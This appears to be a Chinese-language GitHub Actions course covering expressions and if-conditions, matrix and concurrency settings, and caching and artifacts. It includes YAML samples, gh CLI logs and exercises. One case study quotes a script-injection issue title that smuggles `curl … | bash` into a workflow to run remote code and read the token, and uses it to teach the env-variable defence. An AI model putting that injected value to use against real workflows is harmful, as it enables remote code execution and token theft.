TARGET: ${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}
steps:
- name: 上下文
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
echo "event=${{ github.event_name }} ref=${{ github.ref }} target=$TARGET"
echo "PR 标题(安全方式):$TITLE"
- name: 只在手动触发且非 dry run 时运行
if: github.event_name == 'workflow_dispatch' && !inputs.dry_run
run: echo "真正执行"
- name: 字符串陷阱演示
if: github.event.inputs.dry_run
run: echo "github.event.inputs.dry_run='${{ github.event.inputs.dry_run }}' 是字符串,非空即真"
- name: 故意失败
id: flaky
continue-on-error: true
run: exit 1
- run: echo "outcome=${{ steps.flaky.outcome }} conclusion=${{ steps.flaky.conclusion }}"
- name: 真的失败
run: test "$TARGET" = "never"
- name: 失败时才运行
if: failure()
run: echo "::error title=CI 失败::请查看上一步日志"
- name: 除取消外都运行
if: ${{ !cancelled() }}
run: echo "job.status=${{ job.status }}"
git add .github/workflows/expressions.yml && git commit -m "ci: expressions lab" && git push gh pr checks --watch gh run view "$(gh run list --workflow expressions.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -E "event=|标题|outcome=|CI 失败|job.status"
demo 上下文 event=pull_request ref=refs/pull/7/merge target=dev demo 上下文 PR 标题(安全方式):feat: hello demo … outcome=failure conclusion=success demo 失败时才运行 ##[error]请查看上一步日志 demo 除取消外都运行 job.status=failure
注意 “只在手动触发…” 和 “字符串陷阱演示” 两步在 PR 事件中被跳过。::error 会在运行摘要中生成一条注释(annotation)。
gh workflow run expressions.yml --ref main -f dry_run=false sleep 20; gh run view "$(gh run list --workflow expressions.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -E "真正执行|非空即真"
demo 只在手动触发且非 dry run 时运行 真正执行 demo 字符串陷阱演示 github.event.inputs.dry_run='false' 是字符串,非空即真
dry_run=false 时,“字符串陷阱演示”仍然运行了——'false' 是非空字符串。
if: ${{ github.event_name == 'schedule' }} && false,推送后观察:该 step 依然运行。改回去后再继续。案例 1:PR 标题脚本注入
问题:一个自动打标签的 workflow 在 run: 中写了 echo "${{ github.event.issue.title }}" | grep -q bug。研究者提交了标题为 a"; curl -sSfL https://… | bash; echo " 的 issue,workflow 执行了远程脚本并读取了令牌。做法:所有不可信输入改为通过 env 传入;令牌 permissions 收紧为 issues: write;用 actionlint/CodeQL(第 6 课)检测此类模式。限制:env 方式只防 shell 注入,下游工具若再次拼接命令仍需注意。
案例 2:always() 让取消“取消不掉”
问题:集成测试 job 的清理步骤用 if: always() 调用云 API 删除测试资源,偶尔需要 10 分钟;concurrency 取消旧运行时,旧运行仍要跑完清理,占用 runner。做法:非关键清理改为 !cancelled();必须清理的云资源加 TTL 标签,由定时任务兜底删除。限制:取消后的 always() 步骤仍受 job 超时约束。
案例 3:fromJSON 让配置“开关化”
问题:平台团队希望不改 workflow 就能调整超时与是否运行 E2E。做法:使用组织级 variables:timeout-minutes: ${{ fromJSON(vars.E2E_TIMEOUT || '30') }}、if: vars.E2E_ENABLED == 'true'。限制:variables 对所有有读权限的人可见,不能放机密;值始终是字符串,数字需 fromJSON。
常见错误与解决
Invalid workflow file … Unrecognized named-value: 'secrets'. Located at position 1 within expression: secrets.TOKEN != ''
原因:在 jobs.<id>.if 或 if 中直接使用 secrets;或在不支持该上下文的位置使用(如 job 级 if 用 env)。
修复:先映射到 env,在 step 级 if 中判断;查官方 Context availability 表。
did not find expected key / found character that cannot start any token(if: !cancelled())
原因:YAML 把以 ! 开头的值当作标签。
修复:if: ${{ !cancelled() }} 或 if: "!cancelled()"。
条件明明是 false,step 却运行了
原因:${{ }} 外有额外文本(字符串非空为真);比较的是字符串 'false'。
修复:整条表达式放进一个 ${{ }} 或不写;用 gh run rerun --debug 查看 “Evaluating condition for step” 日志。
Error when evaluating 'strategy' for job 'test'. … Error reading JToken from JsonReader
原因:fromJSON 的输入不是合法 JSON(例如输出里有多余的换行、单引号)。
修复:用 jq -c 生成紧凑 JSON 再写入 $GITHUB_OUTPUT。
hashFiles('**/requirements.txt') 返回空字符串,缓存键变成 "Linux-pip-"
原因:还没 checkout;路径模式不匹配;文件在 GITHUB_WORKSPACE 之外。
修复:确保 checkout 在前;用 ls 确认路径。
1. 写一个 step 条件:只在推送 v 开头的标签、且之前步骤没有被取消时运行。
if: ${{ !cancelled() && startsWith(github.ref, 'refs/tags/v') }}
# 注意:这里包含 !cancelled(),所以失败时也会运行;只想成功时运行就写 success() && …2. 把 PR 的所有标签名以逗号分隔写入环境变量 LABELS。
env:
LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}部署 job 写着 needs: [test, lint] 和 if: github.ref == 'refs/heads/main' || inputs.force。手动触发 force=true 时,lint 失败了,部署有没有运行?为什么?如果希望“force 时跳过门禁”该怎么写?风险是什么?
没有运行。if 中没有状态函数,隐含 success(),需要所有 needs 成功。若要强制:if: ${{ !cancelled() && (needs.test.result == 'success' && needs.lint.result == 'success' || inputs.force) }}。风险:绕过质量门禁部署未验证代码;应配合 environment 审批(第 3 课)并只允许特定人员触发。
经核实的教学视频
表达式与 if 坑未找到经核实的专题短视频,请结合官方文档与分镜脚本。
官方文档
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:YAML 中的 ${{ github.ref }} 被一只手替换成纯文本 refs/heads/main,然后才交给终端。
旁白:表达式在 shell 启动前就被替换成文字,shell 永远看不到美元双花括号。
画面:if 条件 “${{ false }} && true” 变成字符串,一个大大的 TRUE 盖章。
旁白:表达式外面多一点文字,整个条件就变成非空字符串,永远为真。
画面:四列表格:success、failure、不取消、always,分别在成功、失败、取消三行打勾。
旁白:写了状态函数,默认的 success 就失效了。上传报告用不取消,通知用 failure。
画面:恶意 PR 标题插进 run 脚本,红色警报;换成 env 变量后,标题被当作普通字符串打印。
旁白:不可信输入先放进环境变量,再交给 shell,脚本注入就被挡住了。
模块 5 · matrix 与并发
- 写出 matrix 并准确计算展开结果:笛卡尔积 → exclude → include(扩展或新增组合)。
- 根据目标设置
fail-fast、max-parallel、job 级continue-on-error,并能用上游 job 输出生成动态 matrix。 - 用
concurrency组避免重复运行与部署冲突,理解cancel-in-progress与queue: max的行为差异。
What:matrix 策略
strategy:
fail-fast: false # 默认 true:任一 job 失败就取消其余进行中/排队的 matrix job
max-parallel: 4 # 同时运行的最大 job 数(默认尽可能多)
matrix:
os: [ubuntu-24.04, windows-2025]
python: ["3.12", "3.13", "3.14"]
exclude:
- os: windows-2025
python: "3.12"
include:
- os: ubuntu-24.04 # 扩展已有组合:给它加一个变量
python: "3.13"
coverage: true
- os: ubuntu-24.04-arm # 不匹配任何组合 → 新增一个组合
python: "3.13"
展开规则(官方算法)
- 先对所有列表变量做笛卡尔积:2 × 3 = 6 个组合。
- 应用 exclude:去掉匹配的组合(可部分匹配),剩 5 个。
- 逐条应用 include:如果 include 项能加到某个原始组合上而不覆盖原始值,就扩展该组合(可同时扩展多个);否则作为新组合追加。上例:第一条给 ubuntu/3.13 加
coverage: true;第二条新增 arm 组合,共 6 个 job。 - 一个 workflow 运行中 matrix 最多生成 256 个 job。
注意:YAML 中 3.10 会被解析成数字 3.1,Python 版本务必加引号。
Why:fail-fast、max-parallel 与 continue-on-error
| 设置 | 效果 | 适用场景 |
|---|---|---|
fail-fast: true(默认) | 任一组合失败,取消其余进行中和排队的组合 | 省分钟、快速反馈 |
fail-fast: false | 所有组合都跑完 | 想一次看清“哪些版本坏了” |
job 级 continue-on-error: ${{ matrix.experimental }} | 实验性组合失败不触发 fail-fast,也不让运行失败 | 测试 Python 预发布版 |
max-parallel: 2 | 限制同时运行数 | 测试打到共享外部资源、限制并发成本 |
动态 matrix
matrix 的值可以来自上游 job 的输出:上游用脚本生成 JSON(例如列出变更的服务目录),下游 matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}。生成空数组会导致错误,需要在下游 job 加 if: needs.plan.outputs.matrix != '[]' 之类的保护。
How:concurrency 并发组
- 同一个
group中同时最多只有一个运行中的 job 或 workflow 运行。可以写在 workflow 顶层,也可以写在 job 级。 - 默认(
queue: single):最多一个处于 pending;新的运行进入时,已在 pending 的那个会被取消并替换。 cancel-in-progress: true:新运行进入时,连正在运行的也一起取消(适合 PR CI:只关心最新提交)。queue: max(2026-05 Changelog 新增):最多 100 个运行可以在组内排队等待,超出部分被取消;不能与cancel-in-progress: true同时使用(校验错误)。适合“每次都要执行、但必须串行”的场景,如按顺序部署。官方未承诺严格先进先出顺序,关键顺序依赖请另行保证。- 组名不区分大小写;可以使用除
secrets外的大多数上下文。常用写法:${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}。
When:典型配置
| 场景 | 配置 |
|---|---|
| PR CI,只关心最新提交 | group: ci-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true |
| main 分支每个提交都要有完整记录 | cancel-in-progress: ${{ github.event_name == 'pull_request' }} |
| 部署到同一环境,不能并行 | job 级 concurrency: { group: deploy-prod },不取消正在部署的;需要每次都部署时用 queue: max |
queue: max)。③ “group 写 ${{ github.ref }} 就行”——在 main 上所有推送会互相取消,PR 与 push 也可能共用一组,务必加上 workflow 名和事件区分。④ “取消的运行不算失败”——被取消的运行结论是 cancelled;如果它是必需检查,最新运行会重新报告,但旧提交会显示取消。matrix 展开过程
concurrency 时间线(cancel-in-progress 对比)
交互一:matrix 展开计算器
交互二:concurrency 时间线
matrix 的常用写法
jobs:
test:
name: test (${{ matrix.os }}, py${{ matrix.python }})
runs-on: ${{ matrix.os }}
continue-on-error: ${{ matrix.experimental || false }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-24.04]
python: ["3.12", "3.13", "3.14"]
include:
- os: ubuntu-24.04
python: "3.15" # 尚未正式发布时,配合 allow-prereleases 使用预发布版
experimental: true
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python }}
allow-prereleases: true
- run: python -VV
name 决定检查在 PR 页面上的显示名。设为必需检查时,要填写展开后的名字(如 test (ubuntu-24.04, py3.13)),matrix 变化后要同步更新规则集——更稳妥的做法是增加一个汇总 job(见综合实验)。Python 预发布版本号以 setup-python 的 versions manifest 为准。
动态 matrix
jobs:
plan:
runs-on: ubuntu-24.04
outputs:
matrix: ${{ steps.m.outputs.matrix }}
steps:
- id: m
run: |
echo 'matrix={"python":["3.12","3.13","3.14"]}' >> "$GITHUB_OUTPUT"
test:
needs: plan
runs-on: ubuntu-24.04
strategy:
matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}
steps:
- run: echo "testing ${{ matrix.python }}"
concurrency
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
deploy:
concurrency:
group: deploy-prod
queue: max # 每次都部署且串行;不能与 cancel-in-progress: true 共用
查看被取消的运行
gh run list --workflow ci.yml --status cancelled --limit 5
gh run view RUN_ID --json conclusion,jobs -q '{conclusion, jobs: [.jobs[] | {name, conclusion}]}'
{"conclusion":"cancelled","jobs":[{"conclusion":"cancelled","name":"test (ubuntu-24.04, py3.12)"},…]}
被 concurrency 取消的运行,注释中会显示 “Canceling since a higher priority waiting request for 'ci-7' exists”。
实验 5:3 个 Python 版本 × 2 个系统 + 并发取消(约 6 分钟)
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
unit:
name: unit (${{ matrix.os }}, py${{ matrix.python }})
runs-on: ${{ matrix.os }}
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
os: [ubuntu-24.04, windows-2025]
python: ["3.12", "3.13", "3.14"]
exclude:
- os: windows-2025
python: "3.12"
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "${{ matrix.python }}" }
- run: pip install -r requirements-dev.txt
- run: pytest -q
git commit -am "ci: python matrix + concurrency" && git push gh pr checks
* CI/unit (ubuntu-24.04, py3.12) (pull_request) * CI/unit (ubuntu-24.04, py3.13) (pull_request) * CI/unit (ubuntu-24.04, py3.14) (pull_request) * CI/unit (windows-2025, py3.13) (pull_request) * CI/unit (windows-2025, py3.14) (pull_request) …
5 个组合(6 − 1 exclude)。Windows 上没有服务容器,所以 Redis 测试会被 skip;集成测试仍由模块 3 的 Linux test job 负责。gunicorn 不支持 Windows,但单元测试只导入 Flask 应用,不受影响。
git commit --allow-empty -m "ci: push 1" && git push git commit --allow-empty -m "ci: push 2" && git push sleep 15; gh run list --branch feat/hello --workflow ci.yml --limit 3
STATUS TITLE WORKFLOW BRANCH EVENT … * ci: push 2 CI feat/hello pull_request … X ci: push 1 CI feat/hello pull_request … ← cancelled
fail-fast 改为 true,在 tests 中加一个只在 Windows 失败的测试:
cat > tests/test_platform.py <<'EOF'
import sys
def test_not_windows():
assert sys.platform != "win32", "演示 fail-fast"
EOF
git add -A && git commit -m "test: demo fail-fast" && git push
第一个 Windows 组合失败后,其余仍在运行或排队的组合会被取消(显示 “The strategy configuration was canceled because "unit.windows-2025_3_13" failed”)。完成后删除该测试并恢复 fail-fast: false。
案例 1:matrix 爆炸耗尽并发
问题:一个库测试 4 个系统 × 6 个 Python × 3 个依赖版本 = 72 个 job,每个 PR 都占满组织的并发额度,其他仓库排队 20 分钟。做法:PR 上只跑“边界组合”(最老/最新版本 + 主系统,用 include 列出),完整 matrix 放到 main 推送与夜间任务;max-parallel 限流。限制:中间组合的问题会晚一点发现。
案例 2:并发部署互相覆盖
问题:两次快速合并触发两次部署,旧提交的部署晚于新提交完成,生产被回退到旧版本。做法:部署 job 设 concurrency: { group: deploy-prod, cancel-in-progress: false },并在部署前检查 github.sha 是否仍是 main 最新提交;需要每个版本都部署时使用 queue: max。限制:queue: max 的排队数上限 100,且不应依赖严格顺序。
案例 3:必需检查名称随 matrix 变化
问题:移除 Python 3.12 后,规则集仍要求 unit (ubuntu-24.04, py3.12),所有 PR 卡在 “Expected”。做法:新增一个 ci-ok 汇总 job(needs 所有 matrix job,if: always(),检查 needs.*.result),只把它设为必需检查。限制:汇总 job 必须正确处理 skipped/cancelled,否则会误报通过。
常见错误与解决
Error when evaluating 'strategy' for job 'test'. Matrix vector 'python' does not contain any values
原因:动态 matrix 生成了空数组;或全部组合被 exclude。
修复:上游输出为空时用 if 跳过下游 job;检查 exclude 是否过宽。
The version '3.1' with architecture 'x64' was not found
原因:YAML 把未加引号的 3.10 解析为数字 3.1。
修复:所有版本号加引号:python: ["3.10", "3.13"]。
Canceling since a higher priority waiting request for 'CI-refs/heads/main' exists
原因:concurrency 组过宽(例如 main 上所有推送共用一组且 cancel-in-progress: true),或多个 workflow 用了相同的组名。
修复:组名加 github.workflow;main 上 cancel-in-progress: false;部署用独立组。
Invalid workflow file: queue: max cannot be used with cancel-in-progress: true
修复:二选一:要“只保留最新”用 cancel-in-progress;要“每次都执行且串行”用 queue: max。
The strategy configuration was canceled because "test.ubuntu-24-04_3_12" failed
原因:fail-fast 默认开启。
修复:需要完整结果时 fail-fast: false;实验性组合用 job 级 continue-on-error。
1. 写一个 concurrency 配置:PR 运行互相取消,main 的推送不取消,且不同 workflow 互不影响。
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}2. 用 gh 列出最近被取消的 CI 运行的标题和创建时间。
gh run list --workflow ci.yml --status cancelled --json displayTitle,createdAt -q '.[] | [.displayTitle,.createdAt] | @tsv'
matrix:os: [a, b]、v: [1, 2]、exclude: [{os: b, v: 1}]、include: [{os: a, v: 2, extra: x}, {os: c, v: 3}]。会生成几个 job?各是什么?
笛卡尔积 4 个:a1、a2、b1、b2;exclude 去掉 b1 剩 3 个;include 第一条扩展 a2(加 extra: x),第二条与任何组合不匹配而新增 c3。共 4 个 job:a1、a2(extra=x)、b2、c3。
经核实的教学视频
matrix 与 concurrency 未找到经核实的专题短视频,请结合官方文档与分镜脚本。
官方文档
- Running variations of jobs in a workflow(matrix)
- Control the concurrency of workflows and jobs
- Changelog 2026-05-07:concurrency groups now allow larger queues
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:两行三列的格子(系统 × Python 版本)一格格亮起。
旁白:matrix 先做笛卡尔积,一份定义变成很多个 job。
画面:一个格子被划掉(exclude),一个格子贴上 coverage 标签,旁边新长出一个 arm 格子(include)。
旁白:先减去 exclude,再用 include 扩展已有组合,或者追加新组合。
画面:一个格子变红,其余格子随之熄灭;切换 fail-fast 关闭后,其余格子继续变绿。
旁白:fail-fast 默认开启,一个失败就取消其余。想看全貌就关掉它。
画面:三次推送依次进入同一条车道,旧的运行被划掉,只剩最新的。
旁白:concurrency 组让过时的运行自动让路;需要每次都执行又要串行时,用 queue max。
模块 6 · 缓存与制品
- 设计
actions/cache的key与restore-keys,解释精确命中、部分恢复与未命中,理解分支作用域与 7 天淘汰规则。 - 优先使用
setup-python等 setup-* Action 的内置缓存;知道何时需要手写 cache。 - 用
upload-artifactv7 /download-artifactv8 在 job 间传递文件,掌握 v7 直传单文件(archive: false)与 v8 哈希校验、不再自动解压非 zip 等行为变化,以及保留期设置。
What:缓存 vs 制品
| 缓存 Cache | 制品 Artifact | |
|---|---|---|
| 目的 | 跨运行复用不常变化的文件以加速(pip 下载、node_modules、构建中间产物) | 保存/传递本次运行产生的结果(wheel、测试报告、覆盖率、日志) |
| Action | actions/cache(或 setup-* 的 cache:) | actions/upload-artifact / download-artifact |
| 标识 | key(精确)+ restore-keys(前缀) | name(同一运行内唯一)或 artifact ID |
| 可变性 | 不可变:同一 key 不能覆盖,内容变了就要换 key | v4 起同名不可重复上传(除非 overwrite: true,会删除旧的再上传) |
| 生命周期 | 7 天未访问即删除;超出容量按最近最少访问淘汰 | 默认保留 90 天,可用 retention-days 缩短;仓库/组织可设默认值(公有 1–90 天,私有 1–400 天) |
| 容量 | 默认每仓库 10 GB(超出部分可按计费扩容) | 计入账号的 Actions 存储用量(私有仓库计费) |
| 可见性 | 只供 workflow 使用 | 可在运行页面下载,也可跨运行/跨 workflow 下载 |
| 可靠性 | “尽力而为”:不能假设一定命中 | 上传成功即可依赖 |
How:缓存键匹配与作用域
- 恢复阶段(step 执行时):先按
key精确匹配;命中则cache-hit输出为'true'。 - 未精确命中时,按顺序逐个尝试
restore-keys的前缀匹配,取匹配中最新创建的缓存(部分恢复,cache-hit不为 true)。 - 保存阶段(job 结束时的 post 步骤):若不是精确命中且 job 成功,以
key保存新缓存。 - 作用域:运行只能恢复当前分支或默认分支创建的缓存;PR 运行还能使用 base 分支的缓存。兄弟分支、子分支的缓存不可见——所以要让 main 定期产生缓存,PR 才能“继承”。
- 版本:缓存还带有由
path与压缩工具计算的版本戳;即使 key 相同,path 不同也不会命中。
2026 年起,GitHub 对不需要写权限即可触发的事件(如 pull_request_target)默认只发放只读缓存令牌,防止缓存投毒;并新增 workflow/job 级 cache-mode(read / write / write-only / none)做最小权限控制(2026-09-10 Changelog)。fork PR 的运行通常可以恢复缓存但不能保存。具体语法以官方文档为准。
setup-* 内置缓存
actions/setup-python 的 cache: pip(或 pipenv、poetry)会自动以 runner 系统、Python 版本和依赖文件哈希生成键,缓存的是 pip 的下载缓存目录,而不是虚拟环境或 site-packages——依赖仍会“安装”,只是不再从网络下载。依赖文件不在默认位置时用 cache-dependency-path 指定(如 requirements*.txt)。
Why:制品的行为变化(务必核对版本)
| 版本 | 变化 | 对你的影响 |
|---|---|---|
| upload/download v4 | 新后端:上传后同一运行中立即可下载;同名不可重复上传;单 job 最多 500 个制品 | matrix 中每个组合必须用不同 name(如 report-${{ matrix.python }}) |
| upload v4.4+ | 默认不上传隐藏文件(include-hidden-files: false) | .coverage 之类的点文件需要显式开启 |
| download v5 | 按 ID 下载单个制品时直接解压到 path/,不再嵌套 path/<name>/ | 按名称下载不变 |
| upload v6 / download v7 | 默认运行在 Node.js 24,自托管 runner 需 ≥ 2.327.1 | 先升级自托管 runner |
| upload v7 | 新增 archive: false:直接上传单个文件不打 zip;此模式下 name 被忽略,制品名为文件名;匹配多个文件会失败 | 上传单个 HTML 报告/二进制可直接在浏览器查看 |
| download v8 | 哈希不匹配默认失败(digest-mismatch: error);先检查 Content-Type,非 zip 不再解压;新增 skip-decompress 保留 zip 原样 | 依赖“下载后一定是解压目录”的脚本要检查 |
When:该用哪个
- pip/npm/Maven 依赖下载 → setup-* 内置缓存;Docker 层 → buildx 的
type=gha缓存(第 5 课)。 - build job 产出 wheel 给 test/deploy job 用 → 制品。
- 测试报告、覆盖率给人看 → 制品(
if: ${{ !cancelled() }}上传,失败时也能拿到)。 - 不要用缓存传递构建产物(可能被淘汰、可能被其他分支读取),不要把 secrets 放进缓存或制品(制品可被有读权限的人下载,公有仓库即所有人)。
${{ runner.os }}-pip 就行”——依赖变了也会精确命中旧缓存且不再更新;key 必须包含依赖文件哈希。② “PR 里生成的缓存 main 也能用”——反过来才行。③ “缓存命中就跳过安装”——setup-python 缓存的是下载目录,安装步骤仍要执行。④ “制品永久保存”——默认 90 天,且占用存储配额。缓存的恢复与保存时序
制品在 job 之间流转
交互模拟器:这次会命中哪个缓存?
左侧是仓库中已有的缓存(带创建分支与时间)。设置当前运行的分支和 requirements 是否变化,点击“恢复”,模拟器按“精确 key → restore-keys 前缀(取最新)→ 作用域过滤”的规则给出结果,再模拟 post 步骤是否保存。
actions/cache 完整写法
- uses: actions/cache@v6
id: pipcache
with:
path: ~/.cache/pip
key: ${{ runner.os }}-py${{ matrix.python }}-pip-${{ hashFiles('**/requirements*.txt') }}
restore-keys: |
${{ runner.os }}-py${{ matrix.python }}-pip-
- run: echo "cache-hit=${{ steps.pipcache.outputs.cache-hit }}"
分离写法:actions/cache/restore@v6 与 actions/cache/save@v6 可以分别放在任意位置(例如失败时也保存)。lookup-only: true 只检查是否存在而不下载。
setup-python 内置缓存(推荐)
- uses: actions/setup-python@v7
id: py
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: echo "cache-hit=${{ steps.py.outputs.cache-hit }}"
制品上传与下载
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report-${{ matrix.python }}
path: |
report.xml
htmlcov/
retention-days: 7
if-no-files-found: error # 默认 warn
include-hidden-files: false # 默认不包含点文件
# v7 新能力:单文件直传(不打包 zip,name 被忽略)
- uses: actions/upload-artifact@v7
with:
path: dist/myapp-report.html
archive: false
# 下载(同一运行内)
- uses: actions/download-artifact@v8
with:
pattern: pytest-report-*
path: reports/
merge-multiple: true
gh CLI 与 API
| 命令 | 作用 |
|---|---|
gh cache list --sort last_accessed_at | 列出缓存(key、大小、最后访问时间) |
gh cache delete KEY / gh cache delete --all | 删除缓存(强制重建) |
gh run download RUN_ID -n wheel -D ./dist | 下载某次运行的制品 |
gh api repos/{owner}/{repo}/actions/artifacts -q '.artifacts[] | {name, size_in_bytes, expires_at}' | 查看制品与过期时间 |
gh api repos/{owner}/{repo}/actions/cache/usage | 查看缓存总用量 |
gh cache list --limit 5
Showing 3 of 3 caches in your-name/myapp ID KEY SIZE CREATED ACCESSED 5123456789 setup-python-Linux-x64-24.04-Ubuntu-python-3.13.9-pip-… 18.2 MiB about 1 hour … about 3 min… 5123456700 setup-python-Linux-x64-24.04-Ubuntu-python-3.14.0-pip-… 18.4 MiB about 1 hour … about 1 hour…
实验 6:pip 缓存命中 + 上传 wheel 与测试报告(约 7 分钟)
- uses: actions/setup-python@v7
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: pytest -v --junitxml=report.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report
path: report.xml
retention-days: 7cat >> pyproject.toml <<'EOF' [build-system] requires = ["setuptools>=69"] build-backend = "setuptools.build_meta" [project] name = "myapp" version = "0.1.0" requires-python = ">=3.12" dependencies = ["flask==3.1.*", "redis==5.*", "gunicorn==23.*"] [tool.setuptools] py-modules = ["app"] EOF
build-wheel:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install build && python -m build --wheel
- uses: actions/upload-artifact@v7
with:
name: wheel
path: dist/*.whl
if-no-files-found: error
retention-days: 7
smoke-wheel:
needs: build-wheel
runs-on: ubuntu-24.04
steps:
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- uses: actions/download-artifact@v8
with: { name: wheel, path: dist }
- run: |
ls -l dist
pip install dist/*.whl
python -c "import app; print(app.app.name)"
git add -A && git commit -m "ci: pip cache, report and wheel artifacts" && git push gh pr checks --watch
Cache not found for keys: setup-python-Linux-…,post 步骤 Cache saved with the key: …。再推送一个空提交:
git commit --allow-empty -m "ci: cache run 2" && git push sleep 60; gh run view "$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -iE "cache restored|cache hit|Cache saved|not found" | head
test … Cache restored successfully test … Cache restored from key: setup-python-Linux-x64-24.04-Ubuntu-python-3.13.9-pip-5f0c… test … Cache hit occurred on the primary key …, not saving cache.
这个缓存属于 feat/hello 分支作用域(以及 PR 的 merge ref);合并到 main 后,main 上的运行会生成默认分支缓存,之后所有新分支都能用。
RUN_ID=$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')
gh run download "$RUN_ID" -n wheel -D /tmp/wheel && ls /tmp/wheel
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/artifacts -q '.artifacts[] | [.name, .size_in_bytes, .expires_at] | @tsv'
myapp-0.1.0-py3-none-any.whl pytest-report 1201 2026-11-22T15:10:03Z wheel 3105 2026-11-22T15:10:40Z
expires_at 正好是 7 天后。
gh cache delete --all 后再跑一次,体验“冷缓存”的耗时差异。案例 1:缓存键不含哈希导致“幽灵依赖”
问题:key 写成 Linux-pip,requirements 删除了一个包后,CI 仍然通过(旧缓存/虚拟环境里还有),合并后生产启动报 ImportError。做法:key 加入 hashFiles('**/requirements*.txt');不要缓存虚拟环境整体,或在 key 中包含 Python 补丁版本;夜间任务 gh cache delete --all 后冷启动验证。限制:冷缓存运行更慢。
案例 2:matrix 上传同名制品失败
问题:从 upload-artifact v3 升级后,matrix 中 3 个 job 都上传 name: report,第二个开始报 409 Conflict。做法:name 加 matrix 变量;下游用 pattern: report-* + merge-multiple: true 合并下载。限制:合并下载时同名文件会互相覆盖,需在文件名中也加区分。
案例 3:制品存储费用失控
问题:私有仓库每次运行上传 800 MB 的调试包,默认保留 90 天,存储账单持续增长。做法:调试包只在失败时上传(if: failure())、retention-days: 3;组织级设置默认保留期;定期用 API 删除旧制品。限制:保留期缩短后,事后排查需要及时下载。
常见错误与解决
Cache not found for input keys: Linux-py3.13-pip-…(每次都未命中)
原因:key 中含每次都变化的值(github.sha、时间戳);hashFiles 匹配的文件每次变化;缓存在兄弟分支创建;job 失败导致从未保存;path 不同导致版本不匹配;超过 7 天被淘汰。
gh cache list --key Linux-py3.13 --limit 10 gh run view RUN_ID --log | grep -i "cache"
修复:key 只包含“依赖相关”的输入;确保默认分支先生成缓存;必要时用 restore/save 分离并在失败时也保存。
Failed to save: Unable to reserve cache with key …, another job may be creating this cache.
原因:matrix 中多个 job 用了相同 key 并发保存;key 已存在(缓存不可变)。
修复:key 中加入 matrix 变量;这是警告,不影响 job 结果。
Unable to download artifact(s): Artifact not found for name: wheel
原因:上传 job 不在 needs 中(还没上传完);name 不一致;跨运行下载未提供 run-id 与 github-token;制品已过期。
修复:下游 needs: build-wheel;核对 name;跨运行时 with: { run-id: …, github-token: ${{ secrets.GITHUB_TOKEN }} } 并授予 actions: read。
Failed to CreateArtifact: Received non-retryable error: Failed request: (409) Conflict: an artifact with this name already exists on the workflow run
修复:每个 job 用唯一 name,或 overwrite: true。
Warning: No files were found with the provided path: .coverage. No artifacts will be uploaded.
原因:隐藏文件默认被排除;路径相对 GITHUB_WORKSPACE 而 working-directory 不同。
修复:include-hidden-files: true;用完整相对路径;设 if-no-files-found: error 让问题尽早暴露。
download-artifact@v8:Digest mismatch / 下载后得到的是 .zip 而不是目录
原因:v8 起哈希不匹配默认报错;设置了 skip-decompress: true;或制品是 v7 archive: false 上传的单文件(不会被解压)。
修复:重新上传排除损坏;检查脚本是否假设“下载即目录”。
1. 删除所有以 setup-python-Linux 开头的缓存。
gh cache list --key setup-python-Linux --limit 100 --json key -q '.[].key' | xargs -I{} gh cache delete "{}"2. 下载某次运行中所有名称以 pytest-report- 开头的制品到 reports/。
gh run download RUN_ID -p 'pytest-report-*' -D reports
团队想“为了加速”把 build job 生成的 dist/ 放进缓存,让 deploy job 从缓存恢复。你如何评审?
不应这样做:缓存是尽力而为的(可能被淘汰或未保存),key 冲突时可能恢复到其他提交的产物,且缓存可被其他分支在作用域规则内读取,存在投毒风险。构建产物应使用制品(带 digest 校验、绑定到本次运行),deploy job 用 needs + download-artifact 获取;生产发布还应加供应链证明(第 5 课)。
经核实的教学视频
缓存与制品(特别是 upload v7 / download v8 的新行为)未找到经核实的专题视频,请以官方文档与 Releases 为准。
官方文档
- Dependency caching reference
- Store and share data with workflow artifacts
- upload-artifact releases · download-artifact releases
- Changelog 2026-09-10:cache-mode
视频分镜脚本(约 90 秒)
本课件无法直接生成视频/MP3,已提供分镜和讲解稿,可交给视频工具生成。
画面:左边是贴着“加速材料”标签的储物柜(缓存),右边是贴着“成果”标签的快递箱(制品)。
旁白:缓存是下次可能用得上的东西,制品是这次运行的成果,两者不能混用。
画面:钥匙(key)先试精确的锁,打不开再试前缀相同的锁,选最新的那把。
